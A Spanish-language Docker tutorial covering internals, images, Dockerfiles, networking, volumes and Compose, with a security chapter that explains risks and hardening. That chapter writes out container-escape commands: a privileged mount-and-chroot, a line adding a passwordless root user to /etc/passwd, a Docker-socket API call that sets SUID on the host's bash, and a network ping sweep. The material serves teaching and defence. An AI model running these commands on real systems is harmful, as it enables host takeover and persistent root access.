1. 🐳 Docker
Docker es una tecnología de virtualización a nivel de aplicación que permite empaquetar una aplicación en un contenedor: un entorno aislado que incluye todo lo necesario para ejecutarla correctamente (código, configuración, dependencias y versiones). Al contenerizar una aplicación, esta puede desplegarse en cualquier sistema compatible sin conflictos con el entorno del host.
Docker Vs Maquinas virtuales
A diferencia de una máquina virtual, que virtualiza hardware y ejecuta su propio sistema operativo con su kernel, un contenedor comparte el kernel de Linux del host. Solo incorpora las librerías y recursos estrictamente necesarios para la aplicación. Esto lo hace mucho más ligero, rápido y eficiente, tanto en consumo de espacio como de rendimiento, al evitar duplicar kernels y capas innecesarias.
1.1. Funcionamiento interno de Docker
Los contenedores son creados y gestionados por el Docker Engine, que interactúa directamente con el kernel de Linux y se apoya en sus mecanismos nativos de aislamiento y control de recursos: los cgroups y los namespaces.
-
cgroups limitan y asignan recursos para los procesos
-
namespaces aíslan el contenedor del sistema host (procesos, red, sistema de archivos, etc.)
[dockerd] -> [containerd] -> [runc] -> [kernel]
Daemon de docker gestiona el ciclo vital crea el contenedor usando namespaces + cgroups + OverlayFS
(API) de los contenedores syscalls del kernel
Namespaces — qué puede ver
Los namespaces hacen que un proceso tenga su propia vista de los recursos del sistema. El contenedor cree que es el único proceso en un sistema independiente, pero en realidad es un proceso más en el host.
Cada namespace se encarga de una función: por ejemplo el namespace PID hace que el contenedor no pueda ver los procesos del host y se vea su propio proceso como el primero del que deriva el resto. O por ejemplo MNT ve su propio sistema de archivos sin ver los montajes del host
cgroups — qué puede usar
Mientras los namespaces controlan lo que el proceso ve, los cgroups controlan lo que consume. Son la "policía de recursos" del kernel. Si un contenedor supera el límite de memoria, el OOM killer del kernel mata el proceso y el contenedor termina con exit code 137 (SIGKILL).
Los contenedores, se crean en base a imágenes. Una imagen en Docker es una plantilla inmutable que describe qué va a tener un contenedor y cómo debe arrancar, el molde a partir del que crear contenedores.
1.2. Capas de Docker
Una imagen Docker está compuesta por capas, y cada una cumple una función concreta. Imaginemos una aplicación en Python que imprime “Hola mundo”, empaquetada en una imagen basada en Arch Linux.
| Capa | Descripción |
|---|---|
| Capa base | Contiene la estructura básica del sistema de archivos (/bin, /usr, /etc, …), la mayoría inicialmente vacíos, junto con las librerías fundamentales del sistema (como glibc) y las herramientas base de la distro, como su gestor de paquetes (Ej, pacman en Arch) |
| Capa de dependencias del sistema | En esta capa se instalan los paquetes necesarios para ejecutar la aplicación. Ej. Python en una versión concreta, pip y las librerías del sistema requeridas por Python |
| Capa de dependencias de la aplicación | Incluye las librerías específicas de la aplicación, fijadas en las versiones exactas con las que la aplicación funciona correctamente |
| Capa del código y configuración de la aplicación | Contiene el código fuente de la aplicación y sus archivos de configuración propios |
| Capa de configuración y ejecución | Define cómo se inicia el contenedor: el comando de arranque y las variables de entorno necesarias, Ej CMD ["python", "/app/app.py"] |
Como se crean las capas
Cuando se construye una imagen Docker, esta se crea por capas y cada instrucción del Dockerfile genera una capa nueva. Al crear nuevas versiones de una capa, docker cachea las capas que no se han cambiado, por tanto en la build solo se generan las capas modificadas. Por ello es util:
-
Excluir los archivos necesarios con
.dockerignore: No sirve eliminarlos despues, si ya están en una capa previa, siguen ocupando espacio (en la caché). -
Ordenar el Dockerfile, poniendo primero las instrucciones que cambian poco, como la instalación de dependencias. Dejamos para el final las que cambian con frecuencia como el código fuente
-
Agrupar comandos relacionados en una misma instrucción, para reducir al máximo el número de capas generadas, eliminando las innecesarias y produciendo imágenes más eficientes y mantenibles.
-
Usar multi-stage builds si es posible
Overlay2
Docker utiliza un driver de almacenamiento llamado overlay2, que se encarga de gestionar el sistema de archivos de las imágenes y contenedores. Este driver almacena los datos divididos en capas, cada una con un propósito específico, pero el contenedor las percibe como un único sistema de archivos unificado. Esto permite que varios contenedores compartan la misma imagen, ya que reutilizan las capas de solo lectura comunes, reduciendo el uso de espacio en disco.
Todas estas capas se almacenan en la ruta: /var/lib/docker/overlay2/ y son:
| Tipo | Descripción |
|---|---|
| LowerDir | Agrupa las capas de la imagen y es de solo lectura. Contiene las capas que forman la imagen base, generadas a partir del Dockerfile, y almacena el sistema de archivos original, que no se modifica durante la ejecución del contenedor |
| UpperDir | Es la capa de escritura del contenedor y guarda todos los cambios respecto al estado inicial. Cuando se modifica un archivo, Docker aplica copy-on-write, copiándolo a esta capa y manteniendo intactas las LowerDir |
| MergedDir | Existe únicamente mientras el contenedor está activo y ofrece una vista unificada de LowerDir y UpperDir, de modo que el contenedor percibe un único sistema de archivos |
| WorkDir | Es un directorio interno necesario para el funcionamiento de overlayfs, utilizado por Docker para operaciones técnicas, pero no visible ni accesible desde el contenedor |
1.3. Gestión de imágenes
Primero, descargamos una imagen de docker como alpine, o mysql, la que necesitemos. En los repositorios de docker, existen imágenes de todo tipo de aplicaciones y sistemas, lo que nos ahorra tener que instalarlos y configurarlos manualmente.
| Acción | Comando |
|---|---|
| Instalar imágenes (última versión por defecto si no se indica) | docker pull <imagen>:<version> |
| Listar imagenes descargadas | docker images (alias de docker image list) |
| Listar solo el ID de las imagenes descargadas (útil para scripting) | docker images -q |
| Eliminar una imagen | docker rmi <imagen>:<version> |
| Borrar todas las imágenes | docker rmi -f $(docker images -q) |
Imágenes dangling
Las imágenes dangling son imágenes sin etiqueta (tag), que suelen generarse al sobrescribir una imagen existente durante un build o cuando el proceso falla, y pueden eliminarse con docker image prune. Luego con docker system prune eliminamos imagenes dangling, contenedores parados, redes sin usar y caché, recuperando bastante espacio
1.4. Creación y gestión un contenedor
Ahora, ya teniendo la imagen descargada, podemos hacer un docker run para crear y ejecutar comandos en el contenedor.
| Acción | Comando |
|---|---|
Ejecutar un contenedor: en segundo plano (-d ) y en modo interactivo (-i) con tty (-t) |
docker run -dit <imagen> sh |
| Mapear una carpeta del host en una del contenedor | docker run (...) -v $(pwd):/datos |
| Mapear un puerto local al del contenedor | docker run (...) -p 80:80 |
| Configurar una variable de entorno | docker run (...) -e 'PASS=pass123 |
| Crear un contenedor con nombre, en lugar que se le ponga uno aleatorio | docker run (...) --name=<nombre> |
| Crear contenedores de pruebas que se eliminen al salir de ellos o pararlos | docker run (...) --rm |
El contenedor en segundo plano permite que nos podamos conectar a él y salir cuando queramos
Una vez que tenemos creado un contenedor:
| Acción | Comando |
|---|---|
| Ver los contenedores | docker ps |
| Ver solo el id de los contenedores (útil para scripting) | docker ps -q |
Mostrar los contenedores parados (combinable con -q) |
docker ps -a |
| Ejecutar comandos en el contenedor | docker exec it <contenedor> <comando> |
| Parar un contenedor | docker stop <contenedor> |
| Eliminar un contenedor parado | docker rm <contenedor> |
Podemos copiar archivos del contenedor al host y viceversa con docker cp. Aun así lo más eficiente es crear la carpeta compartida con docker run -v.
| Acción | Comando |
|---|---|
| Del contenedor al host | docker cp <path_del_host> <contenedor>:<ruta en el contenedor> |
| Del contenedor al host (al revés) | docker cp <contenedor>:<ruta en el contenedor> <path_del_host> |
1.5. Los DockerFiles
Dockerizar una aplicación consiste en empaquetar todo lo necesario para que funcione (dependencias, librerías, configuración y código) dentro de una imagen, a partir de la cual se crean contenedores reproducibles que pueden ejecutarse en cualquier sistema con Docker, sin instalaciones adicionales.
La dockerización se compone de:
-
Dockerfile: archivo de texto que define cómo se construye la imagen.
-
.dockerignore: lista de archivos y directorios que no deben copiarse al contenedor.
Instrucciones del Dockerfile
Un Dockerfile define paso a paso la construcción de una imagen mediante instrucciones:
FROM <base_image> # Definen la imagen base de la que se construye, el entorno inicial
ENV <variable>:<valor> # Define variables de entorno usadas por la aplicación o el sistema
RUN <command> # Ejecuta comandos durante la construcción de la imagen
WORKDIR /app # Establece el directorio de trabajo del contenedor
COPY <origen> <destino> # Copia archivos desde el host al contenedor.
# COPY . . copia todo el directorio actual en la workdir
USER 1001 # Usuario que ejecutará el contenedor y sus comandos (UID)
CMD # Comando por defecto al iniciar el contenedor (puede sobrescribirse)
ENTRYPOINT # Comando principal que siempre se ejecuta
EXPOSE <puerto> # Documenta qué puerto usa la aplicación y que se debe exponer con "docker run -p"
Luego creamos la imagen a partir del Dockerfile con docker build -t <nombre> .
Versionado
Cada modificación del Dockerfile da lugar a una nueva imagen que deriva de la anterior, por lo que es importante gestionar correctamente el versionado de las imágenes para evitar la acumulación de imágenes dangling, por ejemplo etiquetándolas como prueba:1, prueba:2, etc.
En cuando a las base images que elegir, tenemos que tener en cuenta el amaño, seguridad, tiempos de build y operación.
| Tipo | Ejemplos | Ventajas | Desventajas |
|---|---|---|---|
| Sistemas operativos completos | ubuntu, debian, centos | Ofrecen máxima compatibilidad con librerías, shell y utilidades, lo que facilita el aprendizaje, las pruebas y el debugging | Son imágenes grandes que aumentan el tiempo de build, el consumo de espacio y la superficie de ataque |
| Entornos de lenguaje | node, python, golang | Incluyen el runtime y librerías estándar del lenguaje, reduciendo errores de instalación y configuración | Siguen siendo relativamente pesadas e incluyen herramientas innecesarias para solo ejecutar la aplicación |
| Alpine Linux | alpine | Proporciona una base muy ligera y rápida, ideal para microservicios con dependencias bien controladas | Puede causar incompatibilidades debido al uso de musl en lugar de glibc y dificulta el debugging |
| Distroless | distroless/nodejs, distroless/java | Incluye únicamente lo necesario para ejecutar la aplicación, ofreciendo una superficie de ataque mínima en producción | No dispone de shell ni gestor de paquetes, lo que impide su uso para desarrollo o depuración interactiva |
| Scratch | scratch | Permite crear contenedores extremadamente pequeños y seguros para ejecutar binarios estáticos | No incluye ningún componente del sistema, lo que limita su uso a casos muy específicos y sin posibilidad de depuración |
| Aplicaciones | Imágenes oficiales de apps | Proporcionan una imagen lista para ejecutar una aplicación concreta sin configuración adicional | Son poco flexibles y dependen completamente de las decisiones del mantenedor de la imagen |
Parámetros
Hay que tener en cuenta estos parámetros:
Exec form vs Shell form
El comando CMD puede declararse en shell form o exec form, lo que afecta a la ejecución del proceso.
-
Shell form: Se ejecuta una shell (proceso padre) que a su vez ejecuta el comando hijo (proceso hijo). Ej
CMD node index.js→/bin/sh -c "node index.js" -
Exec form: Se ejecuta directamente el comando, creando un solo proceso pero sin interpretar variables de entorno
CMD ["node", "index.js"]
CMD vs Entrypoint
Aunque ambos definen el comando que se ejecuta al iniciar el contenedor:
-
CMD: Establece un comando por defecto que puede sobrescribirse. Ej: Si ponemos
CMD ["node"]y en ese contenedor ponemosdocker run imagen bashejecutará una bash en lugar de node -
ENTRYPOINT: Define un comando fijo al que se le pasan los argumentos indicados en
docker run. Si ponemosENTRYPOINT ["node"]y hacemosdocker run imagen bashse ejecutará "node bashdando un error
Al combinar ambos, se puede definir un ejecutable obligatorio con parámetros por defecto, logrando mayor flexibilidad en la ejecución del contenedor con docker exec.
Redes
Docker crea por defecto una red privada tipo bridge asociada a la interfaz docker0, normalmente en el rango 172.17.0.0/16, accesible solo desde el host. Por tanto:
-
El contenedor y el host se comunican por esa interfaz
-
El contenedor puede acceder a otras máquinas de la red por medio de la ip del host (traducción NAT)
-
Para que otras máquinas accedan a los servicios del contenedor, tiene que haber port forwarding. Por ejemplo si se ejecuta con
docker run -p 80:80, cuando otras máquinas consulten al puerto 80 del host, en realidad acceden al servicio del contenedor
Usuarios y permisos
Los usuarios del contenedor son independientes de los del host, pero comparten los mismos UID, lo que puede causar problemas de permisos.
Ej, el usuario root del contenedor comparte UID con root del host, y el primer usuario suele tener el UID 1000, igual que el primer usuario del sistema anfitrión.
Ademas siempre se crea el contenedor como root, así que un atacante al comprometer al contenedor puede afectar al host. Para ello, tras instalar las dependencias, hay que migrar a otro usuario para crear archivos y ejecutar comandos con la línea USER 1000. Esto fuerza la ejecución como un UID no privilegiado, ahorrándonos tener que crear usuarios.
Problemas con el prompt
Un problema habitual surge cuando al crear la imagen, algunas herramientas piden un input del usuario, como por ejemplo elegir la zona horaria en contenedores debian (los contenedores no heredan la hora del host), esto rompe la build y genera un error. Para evitarlo, se desactiva la interactividad y se predefinen las configuraciones mediante variables de entorno, por ejemplo la zona horaria con: ENV DEBIAN_FRONTEND=noninteractive y ENV TZ=Europe/Madrid
1.6. Archivo DockerIgnore
Normalmente el Dockerfile se ubica en el mismo directorio que los archivos que se copiarán a la imagen. Así que todo el código fuente o binarios estáticos se deben colocar en ese directorio y copiar al contenedor con la instrucción COPY . .
El archivo .dockerignore indica los archivos que no se deben copiar, cada uno en una línea. Por motivos de seguridad y reducción del tamaño de la imagen, debemos excluir todo lo que no sea estrictamente necesario para que funcione la aplicación:
-
Control de versiones: .git*
-
Archivos de editores como: .vscode
-
Logs: que contienen credenciales o información interna: *.log, logs/
-
Dependencias locales: estas ya no se necesitan al compilar: node_modules/, .venv/, build/, target/, dist/
-
Caches: .npm, .yarn, pycache/...
-
Archivos sensibles que puedan contener credenciales como variables de entorno (.env), llaves y certificados (.pem, .key y .cert)
-
El propio Dockerfile ¿para que lo necesitamos en el contenedor?
1.7. Multi-stage builds
Es recomendable utilizar los multi-stage builds. Esta técnica permite crear una imagen en varias etapas, usando una imagen base distinta para cada una. En la imagen final, solo se tendrá en cuenta la última etapa, reduciendo drásticamente el tamaño de la imagen.
-
Construcción o compilación: se usa una imagen más pesada, que incluya todo lo necesario. Podemos utilizar una imagen propia de ese lenguaje, por ejemplo: gcc para binarios en c, golang para los de go o node para los javascript.
-
Ejecución: para esta fase utilizamos una imagen minimalista, la cual no contenga ni una shell ni apenas librerías reduciendo al máximo el tamaño y la superficie de ataque.
- Podemos usar una imagen
scratchpara binarios estáticos, esta imagen está prácticamente vacía - Para los programas interpretados, podemos usar una versión distroless.Ej, gcr.io/distroless/nodejs para node.
- Podemos usar una imagen
Aplicacion en Go
Por ejemplo creamos esta simple aplicación GO
packege main
import "fmt"
func main() { fmt.Println("hello world") }
Y luego el Dockerfile
FROM golang:1.24 AS base
WORKDIR /src
COPY ./main.go .
RUN go build -o /bin/hello ./main.go # Compilar el binario
FROM scratch # Usamos la imagen scratch
COPY --from=base /bin/hello /bin/hello # Copiar el binario de la imagen base
USER 1000 # Ejecución no privilegiada
CMD ["/bin/hello"] # En scratch no hay una shell, por tanto tiene que ser exec form si o si
1.8. Análisis de un contenedor
Con docker top podemos inspeccionar los procesos activos en el contenedor.
Y con docker inspect <ID>, podemos inspeccionar información de una imagen o un contenedor. Podemos inspeccionarlo con:
-
-f {{campos}}: es la manera nativa, más ineficiente. Ej.docker inspect <ID> -f "{{.NetworkSettings.IPAddress}}" -
Conbinándolo con herramientas como
jqogrep: Ej.docker inspect <ID> |jq ".[] | .NetworkSettings.IPAddress, .Name"
Los campos que nos interesan son:
-
.GraphDriver.Data : las rutas de UpperDir, LowerDir... etc
-
.NetworkSettings: datos de redes
-
.Mounts: carpetas compartidas (monturas)
-
.Config: configuraciones (usuariom, variables de entorno, comandos)
Analizar las capas
Para analizar las capas podemos usar la herramienta dive la cual se instala desde su repositorio, copiando los comandos que nos indican. Se maneja desde atajos del teclado:
-
Tab: moverse entre las columnas de información de imágenes y el árbol de directorios. Vemos en verde los archivos nuevos, en rojo los borrados
-
Espacio: en el árbol de directorios, podemos expandir o colapsar una carpeta
-
Flechas arriba/abajo: con las flechas nos movemos entre directorios y versiones
Para inspeccionar los archivos, se buscan en la ruta de overlay2: cat $(find /var/lib/docker/overlay2 -name hola.txt 2>/dev/null)
1.9. Persistencia Docker
Los contenedores Docker son efímeros: cuando se elimina un contenedor, se pierden todos sus archivos.
Para evitar la pérdida de datos (por ejemplo bases de datos), Docker proporciona los volúmenes, que son unidades de almacenamiento persistente independientes del contenedor y que están en la ruta /var/lib/docker/volumes/db_data del host.
| Acción | Comando |
|---|---|
| Crear un volumen | docker volume create db_data |
| Listar los volúmenes | docker volume ls |
| Ver información de un volumen | docker volume inspect db_data |
| Eliminar un volumen | docker volume rm db_data |
Por tanto podemos crear un contenedor con ese volumen. Por ejemplo usaremos un volumen que se llame "db_data" y que hayamos creado previamente:
docker run -dit -e MYSQL_ROOT_PASSWORD=asdfg -p 3306:3306 -v db_data:/var/lib/mysql mysql:8.0
Por tanto si el contenedor se elimina y se crea otro usando el mismo volumen, los datos se conservan.
Los commits
Docker permite crear una imagen a partir del estado actual de un contenedor mediante
-
docker commit <contenedor> <imagen>: permite crear una imagen a partir del estado actual del contenedor -
docker save <imagen> -o <archivo>.tar: guarda la imagen en un archivo .tar que enviarle a otra persona -
docker load -i <archivo>.tar: permite cargar la imagen a partir de un archivo tar que hayamos descargado
⚠️Esto tiene varias limitaciones: no permite conocer cómo se ha creado el contenedor ni reproducir el proceso, y además no incluye los datos almacenados en volúmenes o monturas. Por este motivo, su uso se limita a casos muy concretos, en los que no es necesario conocer el procedimiento de creación, como ejercicios de ciberseguridad o laboratorios prácticos, y siempre que el contenedor no haya sido ejecutado utilizando la opción
-vdedocker run.
Copy
La forma correcta y recomendada de compartir una aplicación Docker con otra persona es construir la imagen de forma reproducible, no capturarla. Esto se hace entregando un proyecto que incluya:
- 📁 Los archivos del código y binarios
- 📄 El dockerfile con la instrucción COPY . .
- 📄 El dockerignore para excluir archivos innecesarios (como el propio Dockerfile o la carpeta .git, etc.)
Luego, la otra persona puede construir la imagen con: docker build -t mi_imagen .
1.10. Redes Docker
Primero, los comandos son:
| Acción | Comando |
|---|---|
| Listar redes. Encontraremos siempre la bridge, la host y la none más las que creemos | docker network ls |
| Eliminar una red | docker network rm <id/nombre> |
| Existen 7 tipos de redes docker: |
Default bridge
Es la que se asigna por defecto a los contenedores. Es ideal para desarrollo local y aplicaciones sencillas.
La red es la 172.17.0.0/16 por la interfaz docker0. El host (gateway para NAT) es la primera dirección 172.17.0.1 y a partir de ahí se asignan en orden direcciones para los contenedores que se vayan creando.
-
Los contenedores de la red pueden comunicarse entre sí y con el host usando sus nombres (DNS interno) o IPs
-
Los contenedores pueden acceder a internet y a la red local por medio de traducción NAT
-
Para exponer servicios a la red local hay que hacer port forwarding (
docker run -p)
Ej:
docker run --name contenedor -dit alpine
User defined bridge
Es una red bridge como la anterior, solo que la crea el usuario y por tanto tiene la opción de configurarla manualmente (asignar rangos de red, IPS...etc). Por tanto en un sistema se pueden crear varias redes bridge aisladas entre sí para crear distintos entornos.
docker network create mi_red
docker run --name contenedor2 --network mi_red -dit alpine
Host
Esta red elimina el aislamiento de red, y no hay que crearla, ya que existe por defecto. En esta red el contenedor comparte la IP y puertos del host. Esto hace que no haya NAT ni mapeo de puertos, lo que ofrece máximo rendimiento, pero reduce la seguridad y puede generar conflictos de puertos. Se usa cuando el rendimiento o el acceso directo a la red es crítico.
Ej:
docker run --name contenedor3 --network host -it python:3.12 python -m http.server 80. Bloquea el puerto 80 del host
None
Esta red es muy sencilla de entender, ya que deshabilita completamente la conectividad. El contenedor no tiene interfaz de red (salvo la localhost) y queda totalmente aislado. Es útil para tareas offline o escenarios donde se busca la máxima seguridad.
Ej:
docker run --name contenedor4 --network none -it alpine
MacVLAN
En esta red, cada contenedor obtiene una IP propia dentro de la red física, apareciendo como un dispositivo independiente en la LAN. Esto permite que los servicios externos puedan acceder directamente al contenedor sin port forwarding.
Para crearla, lo primero que debemos hacer en nuestra máquina es identificar la red física a la que estamos conectados y obtener tanto la interfaz como la gateway. Para ello utilizamos el comando ip route. Es especialmente importante definir el rango de redes para que Docker asigne las IPs de forma controlada y evitar conflictos con direcciones que ya estén siendo utilizadas por otros dispositivos de la red. Para ello asignaremos direcciones altas, por ejemplo a partir de la 200.
/usr/sbin/ip route # default via 192.168.159.2 dev eth0 proto dhcp src 192.168.159.139 metric 100
docker network create --driver macvlan --subnet=192.168.159.0/24 --gateway=192.168.159.2 \
--ip-range=192.168.159.200/29 -o parent=eth0 red_macvlan
docker --name contenedor5 --network red_macvlan -it tomcat:9-jdk17
docker inspect contenedor5 | grep IPAddress # 192.168.159.200
curl http://192.168.159.200:8080 # El tomcat
Existen otros 2 tipos más complejos
-
IPvlan: En esta red, los contenedores comparten solo la MAC del host, no la IP. Esto es útil para redes grandes y entornos de producción
-
Overlay: Permite que contenedores ubicados en distintos hosts se comuniquen como si estuvieran en la misma red. Funciona sobre Docker Swarm y es clave en sistemas de microservicios.
2. Seguridad Docker
-
Kernel compartido: El aislamiento de Docker no es absoluto Docker aísla procesos, no el kernel. Todas las vulnerabilidades a continuación explotan que el contenedor y el host comparten el mismo kernel o que hay configuraciones que rompen el aislamiento deliberadamente.
-
Conectividad con el host: Por defecto, todos los contenedores en la misma red
bridgese pueden comunicar entre sí sin restricciones. Si un contenedor es comprometido, el atacante puede escanear y atacar al resto:for i in $(seq 1 254); do ping -c1 172.17.0.$i 2>/dev/null && echo "172.17.0.$i alive"; done
2.1. Contenedor privilegiado y capabilities
--privileged es la opción más peligrosa de Docker. Desactiva todos los mecanismos de seguridad: el contenedor hereda todas las capabilities del host, puede montar filesystems, cargar módulos del kernel y acceder a dispositivos.
Las capabilities que hereda son todas estas, pero con que tenga alguna de estas ya es peligroso. Se puede comprobar con capsh --print
| Capability | Riesgo |
|---|---|
CAP_SYS_ADMIN |
Permite montar filesystems, modificar namespaces, usar ptrace... |
CAP_NET_ADMIN |
Modificar interfaces de red, iptables, sniffing de tráfico del host |
CAP_SYS_PTRACE |
Acceder a la memoria de cualquier proceso. Base de muchos escapes |
CAP_DAC_READ_SEARCH |
Leer cualquier archivo del host ignorando permisos |
CAP_SYS_MODULE |
Cargar módulos del kernel → explotación |
CAP_NET_RAW |
Crear sockets raw → sniffing, spoofing |
⚠️Un contenedor privilegiado tiene efectivamente el mismo nivel de acceso que el proceso raíz del host. Si un atacante compromete la aplicación dentro, tiene el host.
docker run --privileged ubuntu bash
# Dentro del contenedor:
fdisk -l # ve todos los discos del host
mount /dev/sda1 /mnt # monta el disco del host
chroot /mnt # sale al sistema de archivos real del host → escape completo al host
-
Directorios críticos del host: Montar directorios críticos del host da acceso directo a su contenido desde el contenedor. Por ejemplo la raíz
/, pero tambien eletcpara modificar passwd, sudoers. Por ejemploecho 'wtf::0:0::/root:/bin/bash' >> /etc/passwd -
UID 0: Por defecto, los procesos dentro del contenedor corren como root (UID 0). Si hay un escape, el atacante llega al host como root. Con la opción
--user, se puede especificar un usuario y grupo no privilegiado para el primer proceso del contenedor, limitando el impacto potencial de vulnerabilidades de seguridad.docker run --user 1000:1000 ubuntu whoamioUSER nonrooten el Dockerfile
2.2.Exposición del socket de Docker
El socket de Docker es la API del daemon, es decir, un archivo especial que hace de interfaz para comunicarnos con él. Cuando emitimos un comando a través de la CLI de Docker, el cliente de Docker envía el comando al socket de Docker, y el daemon de Docker, a su vez, procesa el comando y lleva a cabo las acciones solicitadas.
Se encuentra en /var/run/docker.sock.
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
Si se monta dentro de un contenedor, ese contenedor puede controlar Docker creando por ejemplo contenedores privilegiados
docker_api(){ curl -s -X POST --unix-socket /var/run/docker.sock "http://localhost$1"; }
docker_api /images/json # Listar imágenes. Ej test:1
docker_api /images/json /containers/create -H 'Content-Type: application/json' \
-d '{"Image":"test:1","HostConfig":{"Binds":["/:/wtf"]},"Cmd":["/bin/sh","-c","chmod u+s /wtf/bin/bash"], "Tty":true}'
docker_api /containers/<id>/start # Arrancarlo
⚠️Casos legítimos y su riesgo : Herramientas como Portainer, Watchtower o algunos CI/CD montan el socket por diseño. En esos casos, el contenedor debe ser tratado con el mismo nivel de confianza que el propio host.
2.3. Vulnerabilidades del runtime — escapes reales
Vulnerabilidades como CVE-2024-21626 (Leaky Vessels) demostraron el impacto generalizado en entornos cloud, mostrando cómo un solo fallo del kernel puede afectar a toda la infraestructura en contenedores.
| CVE | Componente | Descripción |
|---|---|---|
| CVE-2019-5736 | runc | Permitía sobrescribir el binario runc del host durante la ejecución del contenedor. Afectó a Docker, Kubernetes, containerd |
| CVE-2022-0492 | kernel (cgroups) | Race condition en cgroups v1 permitía escape de contenedor sin privilegios especiales |
| CVE-2024-21626 | runc (Leaky Vessels) | File descriptor leak permitía al contenedor acceder al filesystem del host durante el arranque |
| CVE-2024-1086 | kernel (netfilter) | Use-after-free en netfilter explotado activamente por ransomware para escalada de privilegios |
| CVE-2025-31133 | runc | Permite reemplazar /dev/null con un symlink a /proc/sys/kernel/core_pattern → escritura arbitraria en el host |
> La conclusión de los escapes de runtime La mayor parte de escapes de contenedor históricos han sido bugs en runc o en el kernel. Mantener el host y el runtime actualizados es la mitigación más efectiva. |
2.4. Imágenes con vulnerabilidades o secretos
La imagen es la superficie de ataque más olvidada. Una imagen con paquetes desactualizados o secretos embebidos es vulnerable aunque el runtime sea perfecto.
ENV AWS_SECRET_KEY=PASS123 # MAL — secreto embebido en la imagen (queda en las capas)
FROM ubuntu:18.04 # MAL — Imagen base seactualizada, llena de CVEs sin parchear
RUN apt install -y python3 # MAL — instalar paquetes sin fijar versiones (no reproducible)
Podemos buscar CVEs en una imagen con docker scout cves <imagen>:<version>
Tambien podemos buscar secretos en capas de la imagen trufflehog docker --image ubuntu:22.04
2.5. 🛡️ Resumen de hardening
| Práctica | Problema que mitiga |
|---|---|
Nunca --privileged salvo necesidad absoluta |
Acceso total al host |
No montar /var/run/docker.sock en contenedores |
Control del daemon desde el contenedor |
Ejecutar como usuario no root (--user o USER en Dockerfile) |
Reduce impacto de escape |
--cap-drop ALL --cap-add <solo lo necesario> |
Minimiza superficie de capabilities |
Limitar recursos (--memory, --cpus) |
Protege contra DoS por contenedor ruidoso |
Usar --read-only cuando el contenedor no necesita escribir |
Reduce superficie de escritura |
No montar /, /proc, /sys, /dev |
Escapes directos al host |
| Escanear imágenes con Trivy/Scout antes de producción | CVEs en dependencias |
| No embeber secretos en imágenes — usar secrets o variables de entorno en runtime | Exposición de credenciales |
| Mantener kernel, Docker y runc actualizados | Vulnerabilidades de runtime |
| Usar redes bridge separadas por servicio | Movimiento lateral entre contenedores |
| Activar seccomp y AppArmor (activos por defecto en Docker) | Filtrado de syscalls peligrosas |
3. Docker compose
Docker Compose es una herramienta que facilita la definición, gestión y ejecución de aplicaciones basadas en contenedores Docker, especialmente cuando están formadas por varios servicios (por ejemplo, un contenedor para la aplicación web y otro para la base de datos). Permite centralizar toda la configuración del entorno en un único archivo, simplificando su administración.
Gracias a Docker Compose, todo el ecosistema de la aplicación puede iniciarse y detenerse de forma conjunta, lo que ahorra tiempo, reduce errores manuales y mejora la consistencia entre entornos. En la práctica, Docker Compose permite evitar la proliferación de comandos docker run largos y complejos, llenos de variables de entorno, volúmenes y puertos expuestos, sustituyéndolos por una configuración clara y reutilizable.
⚠️Para que un despliegue con Docker Compose funcione correctamente, los contenedores deben ser capaces de ejecutarse de forma individual, ya que Compose se limita a coordinarlos y gestionarlos como un conjunto.
3.1. Docker compose
El funcionamiento de compose se basa en un archivo denominado docker-compose.yml, en el que se describe la estructura de la aplicación de forma legible y declarativa.
Sintaxis YAML 1. La clave y el valor se separan mediante dos puntos y un espacio, con el formato
clave: valor2. La jerarquía y los distintos niveles se definen por la indentación, que suele ser de 2 espacios y sin tabulaciones. Al igual que pasa con Python, un error de indentación puede provocar un fallo 3. Las comillas no son obligatorias en la mayoría de los casos y solo se utilizan cuando el valor contiene caracteres especiales o rutas, por ejemplo:ruta: '/home/kali'4. Las listas se representan mediante un guion delante de cada elemento, permitiendo definir conjuntos de valores u objetos, como en el caso de- aplicación: web
En este caso, la estructura raíz de nuestro compose.yaml va a ser:
version: # Version de docker compose (opcional)
services: # Los distintos contenedores que formarán la aplicación
<contenedor>:
<configuraciones>
networks: # La red interna a la que se conectarán los contenedores
<red>:
driver: bridge # tipo de driver, Ej user_defined_bridge
volumes: # Los volúmenes para conservar datos persistentes
<volúmen>: # Cada volumen
Dentro de services, tenemos estas opciones:
Image y build
Primero tenemos que definir la imagen base. Tenmos dos opciones
- imagen predefinida: Es lo más sencillo y eficiente, ya que hay imágenes para todo tipo de usos. Ej. image: mysql:8.0
- imagen personalizada: Para casos muy específicos, utilizamos build y en cuyo caso, image equivale al nombre que le pondremos al construir la imagen. dockerfile indica el dockerfile a utilizar
services:
db:
image: mi_base_de_datos:1
build:
dockerfile: ./dockerfile_db
Redes
Podemos mapear puertos (equivalente al docker run -p)
ports: # puertos expuestos (-p 3306:3306)
- "3306:3306"
Y tambien pedir al contenedor que se conecte a una red interna que hemos definido con networks
networks: # la red dónde se conecta
- wordpress-network
Variables de entorno
El parámetro environment permite definir las variables de entorno de un servicio, estas sirven para definir usuarios, contraseñas y demás opciones de cada servicio. Es el equivalente a la opción -e en el Dockerfile tradicional. Según el servicio que se ejecute, existirán unas variables de entorno predefinidas que podremos usar. Ej. MYSQL_PASSWORD para las contraseñas en mysql.
Pues bien, es un error poner en el docker-compose los valores directamente (Ej MYSQL_PASSWORD: asdfg), lo ideal en todo caso es crear en el mismo directorio un archivo llamado .env que contenga todas variables de este modo:
# En docker-compose.yml
env_file: .env
enviroment:
MYSQL_ROOT_PASSWORD: ${DB_PASS}
# En .env
DB_PASS=password
Restart y depends on
restart define qué hace Docker si un contenedor se para (por error, por crasheo, o porque el daemon de Docker reinició). Puede ser
| valor | uso |
|---|---|
| no | Si se para, no lo levanta otra vez |
| always | Lo vuelve a levantar siempre si se para o al reiniciar Docker |
| unless-stopped | Como always, pero si se paró manualmente, no se vuelve a levantar al reiniciar Docker |
depends_on controla el orden de arranque/parada entre servicios. Por tanto si queremos que el servicio (por ejemplo web) no se levante hasta que no lo haga la base de datos (y así evitar fallos), utilizamos:
depends_on:
- db
Volúmenes
Un volumen es una forma de persistir datos fuera del contenedor. Estas pueden ser:
- Bind mount: montar una carpeta del sistema (equivalente a docker run -v).
volumes:
- ./src:/app # ./src -> /app en el contenedor
# Podemos añadir :ro para que sea de solo lectura ./src:/app:ro
- Named volumes: Son volúmenes persistentes de Docker, bajo el directorio
/var/lib/docker/volumes/. Se definen envolumes, fuera del camposervicesvolumes: - db_data:/var/lib/mysql # En el contenedor volumes: # Fuera, en volumes db_data:
